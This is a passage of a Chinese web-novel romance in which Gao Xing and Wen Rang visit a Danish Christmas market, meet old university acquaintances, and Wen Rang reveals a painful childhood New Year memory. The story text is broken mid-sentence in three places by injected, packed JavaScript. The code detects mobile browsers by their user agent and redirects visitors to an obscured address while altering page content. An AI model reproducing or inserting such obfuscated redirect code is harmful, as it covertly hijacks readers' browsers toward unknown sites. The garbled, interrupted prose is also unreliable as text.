高幸的头枕在温让肩膀上,脸颊被压着,说话也囫囵不清,“什么意思啊?” “我带你去玩,怎么样?” “好啊。”高幸闭上双眼,“可是我们要去哪儿?” “天涯海角,哪儿都可以。” “你说得像私奔。” “也可以。” 高幸被他逗笑了,“温让,你挺大胆啊。” 温让低头看着地面上两人的影子,很轻地说了一句,“我很胆小的,总在害怕失去。” “温让,别怕。” “嗯,我早就不怕了。” …… 半个钟头的路程,温让断断续续背着她走了快一个钟。 这期间,高幸有两次看见蝴蝶,要效仿香妃,随着蝴蝶翩翩起舞,在栽进垃圾桶之前被温让及时抱住。 有一次因为一闪而过的车灯和路灯交汇在一起,导致她以为佛祖下凡,趴在温让背上双手合十,把自己的身份证号码家庭住址背了个遍,让佛祖保佑她健康平安,发财致富。 中气十足地唱了三首歌,分别是龙的传人、最炫民族风以及我的中国心。 在唱到“洋装虽然穿在身”的时候,一个同样喝了酒被搀扶着的大哥突然流着泪,铿锵有力地回了句“我心!依!然!是!中!国!心!”。 异国他乡的凌晨街头,两个人的爱国情怀喷涌而出,于是又合唱了我和我的祖国,得知大哥来自澳门,高幸立马开唱“你可知Macau不是我真姓”,大哥哭得更惨烈,鼻涕差点擦到高幸身上,还好温让及时递纸过去。 大哥的同伴拉着温让,让他想想办法。 温让却笑容温柔地看着高幸,“她开心就好了。” 同伴:“?” 两人好不容易抒发完了自己的爱国情怀,没过一会儿,高幸又看到路边一只不知被谁落下的小鸟玩偶挂件。 “鸟儿死了?!” 女子蹲在路边,双手捧着小鸟挂件的“尸体”,从小时候放飞鹦鹉结果第二天发现鹦鹉被邻居小孩用弹弓打死的事讲起,突然开始论证甄嬛传里安小鸟靠滑冰将四大爷重新拐上龙床的利与弊。 温让蹲在一旁听得云里雾里,还不忘配合地说了句,“安小鸟惨,四大爷坏。” “还是我最惨。”高幸可怜巴巴地望着温让,吸着鼻涕说,“我想去葬花。” 温让朝四周搜寻一番,“这儿没有花,要不然下次葬?” 两行清泪说掉就掉。 温让慌忙地用手擦去她满脸颊的泪,“好好好,我知道哪儿有花,我带你去。” 终于把人背回家,温让尽量把声音放到最轻,“阿幸,等了一下,我这就去给你拿花。” “嗯……”高幸靠在鞋柜上,懒洋洋地应道。 李听墨就在这时候打开了房门,揉着眼睛走出来,一副梦游的样子。 看到温让躬着身子在客厅角落找东西,他随口问了句,“干嘛呢哥?要出去吗?” “葬花。”温让说。 “什么玩意儿?!” 18. 圣诞集市 「圣诞集市」 第二天,高幸艰难地撑开眼皮。 手机屏幕亮的那刻,她看到了一个可怕的数字。 她居然一觉睡到了13:30! 房间里萦绕着淡淡的薰衣草香,梳妆台上的加湿器不知什么时候打开了。 高幸平躺着,脑子飞速运转。 凌晨,和温让在街头散步,喝了酒,崴了脚,温让背了她,然后呢?掀开被子一看,全身换上了睡衣,脚踝处已经贴了膏药,几乎没有痛感。 她是怎么回来的?这期间到底发生了什么? 满怀疑问地梳洗完,高幸一步一顿,捧着一颗忐忑的心走向客厅。 “哟,高姐姐起床了啊。”李听墨翘着二郎腿坐在餐桌边上,好整以暇地看着她,“刚好赶上午饭。” 高幸不自在地别过头,“你还没吃呢?”目光所及之处都没有温让和小笛的影子,“他俩呢?” “出去买花了。” “啊?” “因为我家的花,都被你,葬完了。”李听墨说到最后,控制不出地爆发出笑声。 “……” 高幸一屁股坐在他对面,双手老老实实地交叠着放在桌子上,“昨晚发生了什么?” “也没什么。”李听墨掰着指头开始数,“也就是凌晨四点多钟非要去找块安静的土地把花葬了,边哭边念了首什么葬花词。” 高幸默默垂下脑袋。 “葬完花还不肯回家,闹着说自己是兔子,要和乌龟赛跑,温让找不来乌龟,只好自己上。”李听墨盛了碗汤给高幸,“于是,我就被迫当了裁判,看你俩在凌晨街头赛跑。” 高幸的头埋得更低了。 “还有——” “还有?!”她要疯了。 “你捧着温让的脸一个劲地搓,还说什么,你好可爱。”李听墨说,“我差点以为你要亲下去。” 高幸瞪大双眼,屏气凝神,“然后呢?” 李听墨优雅地喝口汤,“好在你够怂,只是说了一句,‘要抱抱’。我说高幸,你多大了?人家在你这个年纪都在酒后乱/性,你忙着酒后cosplay林黛玉、酒后龟兔赛跑、酒后要抱抱?你挺别致啊。” 高幸一粒米一粒米地送进嘴里,不敢说话。 “折腾到五点多你才肯回来。”李听墨说,“还好回来的时候碰见了隔壁的蕾娜,衣服都是她帮你换的。” “那我脚踝的膏药是?” “是温让睡到早上九点多钟去药店帮你买的。”李听墨说,“经历你这事我才发现温让有着全世界最好的脾气和耐心,要换作我,早把你打晕扛回来了,他倒好,什么都依你。” “那他是不是又没休息好?” “可不是嘛。”李听墨指着这一桌菜说道,“为了让他休息会儿,这里的菜有一半都是我做的。” 高幸舀汤的手顿住,“这汤,是你煲的?” “对啊,鸡汤,尝尝看。” 碗里飘着一些红丝,高幸试探性问道:“你煲汤前,有没有去血水?” “什么血水?” “……”高幸放下勺子,默默地把汤碗推远了。 过了会儿,温让和小笛捧着几株花草回来了,其中还有棵不大不小的没有任何装饰的圣诞树。 高幸接过花草,脸色微红,不敢看温让,和小笛一块儿把花草摆到客厅的不同位置。 “圣诞树要放哪儿啊?”她问道。 “放小笛卧室旁边。”李听墨说,“哥,你买的什么树种啊?” “诺德曼冷杉。” “买得好,这可是圣诞树中的劳斯莱斯。” “温哥哥说要给我买最好的!”圣诞树比小笛还高一截,她抬起手,刚好能触到顶端,“哥哥,你什么时候去给我买挂件?” “明天就去给你买。”李听墨收拾好碗筷,丢进洗碗机里,温让正好在旁边洗手,他撞了下温让的肩膀,“诶哥,明天你们有时间吗?” “我计划带高幸去默恩岛。” “把小笛也带上呗?” 温让洗好手,扯了纸巾擦拭,“那你呢?” “我约会,不太方便带她。” “行。”温让说,“那让她跟我们一块儿。” “谢了哥。” “你给高幸说了什么?” “就如实说了她昨晚的荒唐行径。”李听墨说,“没什么吧?” 温让没有作答,朝着背对着他们不知道在忙些什么的高幸走去。 “高幸。” 被点名的某只鸵鸟回头。 “晚上去逛圣诞市场吗?” “你要不先休息会儿?”高幸起身,“等你休息好了,我们再去。” “好。”温让说。 “昨天晚上……抱歉啊。”高幸耳朵还红着,“我应该是做了很多不得体的事。” 温让却笑了,“没有不得体。” “是、是么……” “很可爱。” “?” 不远处光明正大偷听的李听墨搓了搓胳膊,鸡皮疙瘩掉了满地。 温让似乎也很不习惯说这样的话,于是两人同时转过身,背对着彼此。 “你先、先去休息吧。” “好,那我去了……” · 温让舒舒服服睡到了傍晚时分,没有做噩梦,起床时天色灰暗,门缝透进来一丝温和的光。 李听墨在辅导小笛功课,高幸已经热好了晚饭等他,又是一个值得期待的夜晚。 他要面对的不再是空荡到凄凉的大房子,冷冰冰的餐桌,以及永远板着脸斥责他的所谓家人。 两人单独用完餐,高幸递给他一杯温水和被纸包裹着的药丸,自己的掌心也躺着同样的药。两个病人什么也没说,但彼此都心知肚明。 “我问了李听墨,最大的圣诞市场在国王新广场那边。”高幸说,“不远,但是晚上八点就收摊了,我们得赶紧过去。” 温让吞下药片,“好。” 夜里风大,高幸戴了条宽厚的围巾,大半张脸都被遮住,露出一双漂亮的桃花眼。这还是她第一次来逛圣诞市场,看哪儿都稀奇。 广场四周搭着红绿相间的棚子和木桌,行人成群结队,驻足在各个摊位前,圣诞树旁边是一头发光的小鹿,围着不少拍照的人。 淡淡的热红酒香气混在热狗和华夫饼的浓郁气味之中,勾人食欲。 “要尝尝热红酒吗?”温让问道。 “不不不。”高幸听到“酒”这个字眼就后怕,“我现在最好是滴酒不沾。” 温让被她逗笑了,“昨晚没有李听墨说的那么夸张,不要有心理负担。来都来了,尝点丹麦的特色食物?” “好,但是人有点多,要不然我们分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088108|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头买?”高幸停在贩着烟熏三文鱼的摊位前,“我买这个吧。” “那我去对面买。”温让说,“你在这儿等我。” “好的。” 十分钟过去,高幸捧着一盒三文鱼无所事事,顺便逛了逛旁边卖碗碟的摊位。 “女士,这些都是我们自己手工烧制的。”摊主积极推销着面前的商品,“花纹也是自己设计。” 高幸叉了块三文鱼放进嘴里,腾出一只手,在里面的框里翻出几个看上去颇有些年代的青花小碟,花鸟山水,绘在一方不过巴掌大小的盘子里。 “这些是我家老人上个世纪去中国旅游时淘来的。”摊主又说,“女士是中国人吗?” “是的。”高幸挑了几个有眼缘的青花小碟和欧式宫廷风格的碗碟,“我要这些,一共多少钱?” “高幸?”身侧突然探了个脑袋过来,“我去,真是你啊。” 高幸侧头一看,不可思议地睁圆了双眼,“唐冉?!” “这也太有缘了。”名叫唐冉的女子豪气万丈地揽过高幸的肩膀,“这都多少年没见过了,想不到出趟国还能遇到熟人。” “你过来旅游吗?” “我带学生来欧洲参加街舞比赛呢,这不顺便公费旅行一下。” 摊主把碗碟包装好放进袋子里递给高幸,说了个数字。 “诶,高幸,难得见你一次,我帮你给。”唐冉说完就要从兜里掏钱。 “别别别,不用了。” “跟我客气啥,你当年没少帮我忙,我都记着呢,我跟你说,我这几年疯狂参加比赛,挣了不少奖金,别为姐省钱。”唐冉数好钱,塞给摊主,用流利的英文说道,“收我的,别收她的。” 摊主耸肩一笑。 “那我请你吃饭。”高幸说完,朝四周看了眼,“但我得先等一个人。” “等谁啊?”唐冉戏谑地瞄她一眼,“男朋友?” “不是……” 高幸的目光在一处停滞。 温让两手提了几个袋子正往她的方向走来,只是他的身旁还多了一位靓丽优雅的女性。 他们穿过人群并肩而来,相谈甚欢。 高幸一眼就认出了站在温让身边的,和他同样优秀得耀眼的女人。 沈奕岚,当年还是省优秀毕业生,参加的国赛回回拿一等奖,履历漂亮到offer拿到手软,他们学校每年都会邀请优秀学生召开“学姐学长经验分享会”,沈奕岚和温让就是他们那届并肩站在金字塔顶端的学姐和学长。 还有传言,他俩是一对。 但被否认了。 否认这个传言的不是温让,而是沈奕岚。 高幸到现在还记得关容清转告给她的,沈奕岚当时说的话—— 我很欣赏温让,当然也对他有着超出友情的好感,但他把我当朋友,我也没必要把心思过多地花在男人身上,毕竟,我这辈子要做的事还有很多。 高幸没有直接和沈奕岚接触过,但她曾是高幸心中一个追逐的目标。 优秀的,理性的,强大而自立的女性。 在重新看到沈奕岚这刻,高幸恍惚看见了毕业那年在不过十几平米的宿舍写下目标的自己。 “你好,高幸,我是沈奕岚,早听说过你的名字,想不到今天才第一次见面,很高兴认识你。” 她的目标时隔五年,朝她伸出手来。 19. 他乡故人 「他乡故人」 高幸愣了几秒,被唐冉扯了下衣服,才反应过来,和沈奕岚握了握手。 “你好,我是高幸,我也……很早就知道你了。” “是吗,看来我还挺有名?我看过你们的舞蹈,特别厉害。” 沈奕岚并不是传统意义上五官精致的大美女,但她很喜欢笑,爽朗大气的笑,即使在北欧这样阴郁的天气里,她的笑容也足以点亮一方天地。 “看来今天这个日子适合熟人重聚啊。”唐冉挽上高幸的胳膊,很自然地介绍自己,“你们是对面南城大学的吧?我叫唐冉,和高幸是大学朋友,同一个舞社的。” “我是温让。” “温让嘛,我知道的,你跟莫队是好朋友。”唐冉说。 高幸诧异地转过头,反问道,“跟莫队是好朋友?” “是啊,你不知道么?”唐冉想了想,“也对,那会儿你一心扑在舞蹈上,跟莫队的交集也不多,说起来,当时备战省赛的时候,我们不是在南城大学训练吗?温让还来过几次舞室,不过你好像都不在?” 温让去过舞室?还跟莫听山是好友? 高幸忽然觉得自己那些年过得稀里糊涂的。 温让留意到高幸恍惚的表情,说道,“我确实去过。” 备战省赛刚好是她腰伤复发的阶段,对待伤痛,她从来都是能忍就忍,绝对不会让自己拖团队后腿,请假的那几次应该是莫听山实在看不下去了,逼着她回去休息,没想到正好和温让错过。 唐冉早些年是个咋咋唬唬的性子,也不懂得察言观色,但这些年接受了社会的毒打和洗礼,审时度势的本领涨了不少,比如眼下她就发现温让和高幸之间的氛围不对。 “诶诶,既然大家都是老熟人,要不一起逛逛或者吃个饭什么的?”唐冉说道。 “可以的。”高幸说,“沈小姐有时间吗?” 沈奕岚低头看表,带着歉意地笑笑,“要不然改天?我这会儿还约了朋友,路过广场刚好碰到温让就过来打声招呼。” “高幸,奕岚就是我们之前在调查小笛学校时,提供帮助的朋友。”温让说。 “原来是你啊。”高幸恍然大悟,“真的很谢谢你。” “没事儿,举手之劳。”沈奕岚说,“你们接着逛,再见啦。” 说完,她拢了拢大衣,在一声声客套的“下次约”、“再见”中转身离开,逆行在喧杂的人流中。 高幸始终看着她的身影,沈奕岚本来就有170,蹬上高跟靴后,比周围人高出一截。 和她印象中一样,沈奕岚连走路也是风风火火、大步向前的,及腰的长卷发随着步伐在身后跳跃,背影也足够迷人。 “温让,我还以为沈奕岚是你女朋友呢。”唐冉顺口说道。 “不是。” “那你现在有女朋友吗?” “从以前到现在,都没有。”温让并没因为唐冉的贸然提问而有任何的迟疑。 唐冉满意地点点头。 高幸收回眼神,“冉冉,你想吃什么?” “就那家餐厅吧,随便吃点什么,聊聊天,叙叙旧吧。”唐冉指着一个门口立着俩圣诞老人的饭店说道。 “好。”高幸对上温让的眼神,“温让,那你……” “介意我一起吗?” “当然不介意!”唐冉爽快道,“我还没和你这样长得帅的大学霸吃过饭呢,一起一起。” “你这话还是别被莫队听了。”温让打趣道。 “莫队现在已经不是我等能够高攀的了。”唐冉说完,看着高幸,“幸啊,这些年也没见你发过朋友圈,是不是没跳舞了?” 温让先进屋,扶了下门等她们进来。 “时不时会在家里练练。”高幸说。 “没在舞室接点兼职课?也是,你当年腰伤那么严重,养养身体挺好的。”唐冉两手撑着自己的腰,“不像我,这把年纪了还在舞室奔波,落下一身的病根。” 温让跟服务员沟通了几句,三个人在靠里的空位落座。 “你也注意休息一下。”高幸把菜单推到她面前,“你先点吧。” 唐冉十秒钟就点好了,一张嘴叭叭的停不下来,拉着高幸从近年的工作情况聊到本科时期。 一起经历过的事,笑点也是共通的,没一会儿,高幸就被她绘声绘色的回忆逗得满面笑容。 “还有那次,你知道吗,蔡蔡甩头的时候把假发甩到廖哥头上去了,笑得想死哈哈哈哈。” “我记得我记得,当时廖哥还顺手自拍了,被廖嫂嫌弃惨了。” “那年我们去京市参加总决赛,汪狗子和莫队一块儿住的,他一紧张就尿频,晚上一直在跑厕所。”唐冉笑着笑着就说不下去了。 “然后咱们拿了全国冠军,莫队宣布的第一件事就是让老汪去检查肾功能。”高幸接着她的话说,“后来老汪真去了,莫队全程陪同,被误以为是一对基佬。” “汪狗子还偷拍了一张莫队在检查室外面等他的照片发朋友圈,配文‘老公真好’,哈哈哈哈一群神经病。”唐冉擦了擦眼角笑出来的泪。 “莫队紧接着就发了段爆揍他的视频,删得很快,但还是被我们给保存下来了。”高幸双手托腮,回忆着当年的点滴,不经意撞上温让的眼神。 就在她们热聊的时候,他没有玩手机,没有做别的事,而是帮她们添好饮料,始终耐心地倾听着。 “冉冉,你……妹妹还好吗?” 唐冉突然垂下头,“今年年前走了。” 唐冉的妹妹在他们本科的时候就被检查出癌症,凑上所有家产都支撑不了高昂的治疗费用,唐冉又是个不爱麻烦人的性子,宁愿自己每天跑好几份舞室兼职,授课时间长达十个小时,此外,她还要去奶茶店打工。 高幸发现了她的异常,主动伸出援手,把自己那三个月攒下来的兼职费用都给了唐冉,莫听山知道这事后,也默默凑了不少钱。 但舞团成员毕竟都是学生,再有钱也填补不了剩余的费用。 后来听说是一个有钱的华裔家庭资助他们,把费用给补齐了,唐冉妹妹才顺利上了手术台,当时她的病情已经好转了不少,想不到,最后还是一样的结局。 “冉冉……” “嗐,我没事。”唐冉奋力抹去砸在手背的一滴泪,“一年都快过去了,差不多也走出来了。” 高幸伸手揽住她的肩膀,就像很多年前一样。 比起言语的安慰,她更擅长沉默的行动和陪伴。在唐冉最难熬的日子里,成天泡在舞室不见天日,休息都是挤出来的,但是高幸总能提供给她最舒服的、最能让她接受的帮助,无论是情绪还是物质。 可惜毕业后,因为妹妹的病情又开始变得不可控制,唐冉每天医院舞室两头跑,累得不成人样,她和高幸也不在一个城市,自然而然的,逐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093552|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和昔日好友拉开了距离。 难得重逢,唐冉也不想让场面冷下来。 “说点开心的吧。”她主动岔开话题,“年前处理完我妹妹的后事,我们一家人就去南城亲戚家过年了,说起来,除夕我还碰到莫队了。” “莫队也在南城?” 唐冉努努嘴,“说是去看朋友,我猜,是温让,对吗?” 服务员上了几盘菜,温让正在调整餐盘的摆放位置,应道,“是的,他今年除夕来找我了。” “你没回老家么?”高幸问道。 “没有,你呢?” “我也没有。”高幸边回想边说,“今年刚好轮到我值班,回不去,就在申城过的年。” “现在的年味越来越淡了,哪像小时候。”唐冉说道,“对了,你俩老家一个地方的啊?” “对,都是江城的。”高幸说。 “江城过年好玩吗?”唐冉问。 被唐冉这么一提,高幸忽然想到了小时候的除夕,想到了鞭炮声,烧着年夜饭的炉灶的烟火气,零点前的春晚倒数和轰鸣的烟火,以及短信界面不断涌出的拜年字句。 搅拌着盘子里的意面,高幸又抬眼看了下温让,对方正安安静静地吃着饭,浓密的睫毛垂着,盖住下眼睑因为失眠而生出的一点颓靡的青。 “也就那样吧。”高幸说,“流程都差不多。” “那温让呢?你们有钱人过年是不是都去国外旅行啊?”唐冉脱口而出。 温让刚叉了块番茄放进嘴里,口感太酸,酸到他眉头都皱了起来,听到唐冉的问题,他很快恢复平静,不动声色地回应着,“家里人会出去旅行。” 咽下酸透的番茄,他继续道,“我一般不出去。” “哦哦,还有两个多月就是春节了,你们要回国吧?” “应该吧,签证时间不长。”高幸的脑子里还在回味温让刚才的话,有些心不在焉。 “那到时候有机会的话可以约着玩。” “没问题。” 饭后,唐冉打车回酒店,高幸和温让站在路边,目送计程车驶离视线,才散着步慢悠悠往回走。 收摊时间过了,国王广场的人群也随之散去,圣诞灯光却依然璀璨,街边放着MerryChristmas西洋小调,长得像洋娃娃一样的蓝眼睛外国小孩坐在父亲肩头,头上戴着圣诞帽,摇头晃脑地唱着jinglebell。 热闹是热闹的,不同于春节的热闹。 高幸其实有很多话想问,临到嘴边,只有一句,“温让,你喜欢过年吗?” “不喜欢。”温让侧头看她,笑道,“因为我的生日是大年初一,大家忙着过年,总会忘记我的生日。” 这是高幸第一次知道温让的生日,还没来得及回应,就听见温让说。 “不过19岁那年的春节,我是喜欢的。” 路过的一对情侣在讨论平安夜当晚是去放烟花还是去滑雪,说着说着就起了争执,年轻女子甩开男人的手转身就走,男人抱着胳膊没理会,一分钟不到,叹了口气,掉头去追,或许是跑得太急,不小心撞到了高幸的肩膀。 回过神时,她听见男人说了一连串的sorry,而温让的手还揽着她的肩膀。 这样的距离,温让的嗓音越发清晰,不知是太冷还是别的什么原因,尾音还微微发着颤。 “或许你不记得了,那一年,我们见过。” 20. 彼时除夕 「彼时除夕」 高幸倏地抬头,和男人温柔到有些悲哀的目光交缠。 那是大一结束的寒假,高幸回了老家县城,找了家清闲的奶茶店打零工。 春节也和往年一样平淡无聊,不同的是,何柔跟高城离婚了,高幸终于不用在他们对彼此的辱骂声中迎来新年。 但也好不到哪儿去。 何柔不骂高城,挨骂的就成了高幸。 于是大年初一那天晚上,在何柔的一片谩骂声中,高幸以奶茶店需要帮忙为由,逃出家门,获得短暂的喘息时间。 在这样的小地方,去哪儿都不自在,尤其像高幸这样学个古典舞都能被老师拉去拍宣传照,从小就容貌出挑的,街坊邻里都认识她。 所以高幸直接骑车去了邻近郊野处的护城河。 她以为护城河离城中心较远,人也应该少很多。没想到大家想法都出奇一致,还没骑到河边,她就看到了不少停靠的车辆。 城中心禁燃,这些人以家庭为单位出行,都是过来放烟花的。 小孩的尖叫欢呼声和大人的交谈声混在风里,随着烟火味一同飘到高幸身边。 出门出得急,高幸没带手套,刚骑完车,手指都冻得通红僵硬。 她独自来到河岸边,藏在角落里,眼前是漫天的烟火和温馨的家庭,兜里揣着的是不到十元的现金和怎么也暖不起来的手。 没有别的情绪,她只是觉得人各有命。她拥有不了的,别人能拥有,也很好。这个世界,总不能都是命苦的人。 离她最近的小孩忽然望了她一眼,迟疑片刻后,又跟她妈妈耳语几句,握着几根没点燃的仙女棒朝高幸走过来。 “姐姐,新年快乐,要不要和我们一起玩?” 高幸愣了下,屈膝半蹲着,接过仙女棒,笑道,“新年快乐,谢谢你啊小朋友。” 小孩的妈妈也走了过来,用打火机替她点燃了仙女棒,一小簇花火绽放,点亮了她原本暗淡的双眸。 “姐姐,这个要挥起来才好看。”小女孩手舞足蹈地演示给她看。 “好。” 高幸退后几步,到了一个安全区域,手持绚烂的仙女棒开始转圈圈,见小女孩蹦蹦跳跳地鼓掌欢呼,她又跳了几个八拍的古典舞小段。 直到花火燃尽,高幸才微微喘息着停下来。 小学接触的古典舞因为转练爵士,动作已然不太标准了,但小女孩和她的妈妈还是毫不吝啬对高幸的夸奖。 跳了会儿舞,手脚也暖和起来,高幸又跟着小女孩放了几束烟花。 “小高,我们得先回去了,要送你一程吗?”小女孩的妈妈看上去是个知书达理的女性,说话也温温柔柔的。 高幸惊觉于她认识自己,“姐姐,你怎么知道我姓高?” 女人眼神里闪过一丝慌乱,但很快就掩饰过去,没让高幸瞧见,“你以前的舞蹈老师在县里很有名,我在他那儿听说过你。” “这样啊……”高幸喃喃道。 还没来得及问她们的名姓,女人已经抱起小女孩挥手说再见了。 身后的烟火气息逐渐消散,仍有不少孩童在河岸奔走。 高幸寻了处干净点的阶梯坐下来,戴上耳机开始听歌。 音乐刚好放到南拳妈妈的“橘子汽水”,高幸这才想起她前几天路过小卖部时买了一包橘子糖。 剥开糖纸,正要将糖送进嘴里,忽然有个东西扔到了她的脚边。 在爆破声响起前,一双冰冰凉凉的手盖住了她的耳朵,于是音乐声更大。 脚边的鞭炮噼里啪啦作响,高幸的世界却立体环绕着那一句“就这样牵着你一直走”。 不知何时,音乐和鞭炮一同停了,捂着她耳朵的手也放了下去,高幸回过头,却看见一个高而瘦削的身影。 这样寒冷的夜里,那人上身只穿了黑色的连帽卫衣。 “诶!”高幸唤住他。 男子稍稍侧过身子,他戴了鸭舌帽,卫衣的帽子也一块儿套在头上,完全看不清模样。 他没有作声,高幸也不勉强,只是走过去,递给他一把橘子糖,仰起脸,笑得温和,“谢谢你,新年快乐。” 这个角度,她只能看见他清晰的下颌线和优越的鼻梁,高幸觉得熟悉,却想不起来到底是谁。 “你冷不冷?”她问道。 男子摇摇头,又点点头。 “可是我也没办法把衣服脱给你。”高幸说,“你还是快些回家吧。” “你呢?”男子的声音很低,带着点鼻音。 “我也要回去了。”高幸揉揉发痒的鼻子,“大过年的,要是感冒就不好了。” “嗯,新年快乐。” “再见。”高幸说。 “再见。” 她没有多想,径直朝自己的自行车走去。 回去的路上没什么人,高幸骑得不快,耳机线就这样随意地缠在脖子上,寒风扬起她的长发,轻柔的哼唱声也散在风里。 而在她身后不远处,始终有一辆车不紧不慢地跟着,直到她安全抵达小区门口。 车里开了暖气,温让并不冷,目送女孩回了家,他也没有离开。 眼前的居民楼年代久远,外墙还是普普通通的水泥色,家家户户都亮着灯,降下窗户,他仿佛能听到里面传来的笑声。 普通人家的春节,都是这般热闹吗? 守门的大爷裹着一身军大衣,不停看表,过了会儿,楼里面出来了一个拎着保温桶的少女。 是高幸。 温让紧紧盯着两人交谈的身影。 “何爷爷,听说你家里人还没来送饭,先吃点填填肚子吧。” 大爷拍了拍高幸的肩膀,拎着保温桶往门卫室走去,“太谢谢你们了,那何爷爷就不客气了啊。” “不客气的,有什么需要您给我们说就行,您有我的电话吧?” “有的有的。” 说话声时大时小,听不真切。 冷风往车里呼呼地灌,冲散了原本的温暖。 紧握着方向盘的手缓缓滑落,温让有些脱力瘫在驾驶座上,内心忽然涌出一股冲动,然而在触碰到车门把手时,又倏地冷静下来。 手机在不停震动。 不用看也知道是谁在给他打电话。 几分钟后,震动停止了。 三条信息谈了出来。 -哥,快回来,父亲很生气,我瞒不住了。 -到家自行领罚。 -再不回来,受罚的就是温廉了。 温让捏紧了拳头,下唇几乎被咬出血来,眼神空洞而麻木地望着前方,车灯亮起,急速驶离。 一个时辰后,他回到了别墅。 生日结束前的最后几分钟,温让断了一条腿,收到了来自父母的生日祝福。 -哦,今天是你生日,早知道就不打这么狠了。 -生日快乐,温廉,送你哥去医院吧。 时隔多年,温让记不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098564|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断腿的疼痛,只记得被冷汗浸湿的掌心,始终握着那一把橘子糖。 …… “所以,那个大冬天穿个卫衣出门的男生,是你?”高幸努力回想起那晚的情形,温让当时的状态和他在礁石跳海那晚很像。 他平时给人留下的印象总是温润的,没有棱角的,难以将孤僻疏离几个字和温让联系起来。 “嗯,是我。”温让弯了弯眼睛,“那会儿还不太懂事,冬天不爱穿外套。” “那天是你的生日?我都不知道……” “假如,你知道呢?” 高幸怔怔地望着他,“假如我知道是你的生日,我至少会带你去吃一碗,长寿面。” 温让抬手把她的帽子往下按了按,盖住露出来的发红的耳朵,“你就是这样好,对每个人都好。” 高幸反应迟钝,摸不准他这话什么意思,但她下意识想反驳。 不是的,她不是对每个人都好,她只对自己在乎的人好。 可说了又有什么用呢? 回到家,高幸一直心事重重,清洗刚买的碗碟时,还不小心打碎了一个。 要是以往在家里,打碎碗碟那可是滔天大罪,何柔非得把她骂得无地自容。 但是温让看到了,只说了句“碎碎平安”,立马制止她用手去捡碎片。 他微微躬着身子扫地,高幸盯着他漆黑的发顶好半晌,在男人倾倒完碎片后,她忽然拽住了温让的手腕。 “温让。” “怎么了?” 她抿了抿唇,组织好语言,说道,“你愿不愿意给我说说你十九岁那年生日发生了什么事?为什么会跑到我家那边的护城河去?我……我想……” “他奶奶的!” 咚得一声,门被踹开了,高幸被吓得一个激灵。 李听墨踢掉鞋子,风风火火地闯进来。 温让皱着眉看他,“你干什么?” “我他吗遇到一个蠢女人。”李听墨脸都被气红了,“又蠢又自大,差点没把我气死。” 高幸马上松开温让,拉开两人的距离。 温让见状,低声说道,“我待会儿再给你说。” “好。” 李听墨把自己砸进沙发里,“你俩也别搁哪儿卿卿我我了,快帮一起骂这个臭女人,我跟你们说,以防她抵赖,我还录了视频。” “到底发生什么了?”高幸问道。 “我刚才出去给小笛买零食,她要吃的那家有点远,我就开车过去,停车买零食的这会儿功夫,车子就被这女人剐蹭了,她还不认账,非说是我停错地方了。”李听墨打开手机上的视频,“你们看这女人凶恶的嘴脸,哪儿还有半点女人的样子。” 视频里面的女子并没有李听墨说的那么夸张,相反她条理清楚,逻辑顺畅,倒是李听墨被她说得毫无还击之力。 高幸和温让盯着视频里的女人,对视一眼,然后同时看向李听墨。 “看我干嘛,你们不觉得这女的在强词夺理吗?我还存了她的手机号,准备今晚上大骂一通。” 高幸没有回答,而是反问了温让,“沈奕岚小姐是学什么专业的?” “我记得是教育学吧。” “你确实也应该好好接受教育了。”高幸说。 李听墨一脸茫然,“啥意思?” 高幸和温让同时拍了拍他的肩膀,意味深长地看着他。 “沈奕岚小姐可是你的恩人,你好自为之吧。”温让说。 21. 默恩白崖 「默恩白崖」 李听墨在得知了沈奕岚的事情后,原本头沾枕头就能睡着的高质量睡眠男孩在床上辗转反侧了好几个小时,依旧毫无睡意。 手机停留在短信界面,拼凑出来的句子删删改改,从起初单纯地发泄怒气,到试图为自己解释,再到纯粹的感谢和道歉,总之,话语整理了无数次,但发送键怎么也按不下去。 在第不知道多少次数羊失败后,李听墨顶着鸡窝头坐起来,摸到床头的烟盒,刚想抽烟解闷,又想起昨日在他叼着烟准备上车时,沈奕岚冷不丁地说了句没有自制力的人才喜欢靠烟酒消愁。 香烟都不香了。 shit. 他仰躺在床上,扯过被子盖住头,翻了个身,却不小心碰到手机屏幕。 等他反应过来时,那条编辑好的短信就这样发了出去。 -沈小姐,十分感谢你帮助了我妹妹李小笛,今天的事多有得罪,我愿意向沈小姐赔罪,无论以什么方式。 李听墨爆发出无声的尖叫。 他突然觉得微信的“撤回”是世上最伟大的发明。 可惜他用的不是微信。 最后,李听墨也不知道自己是怎么睡着的,可能是气昏了。 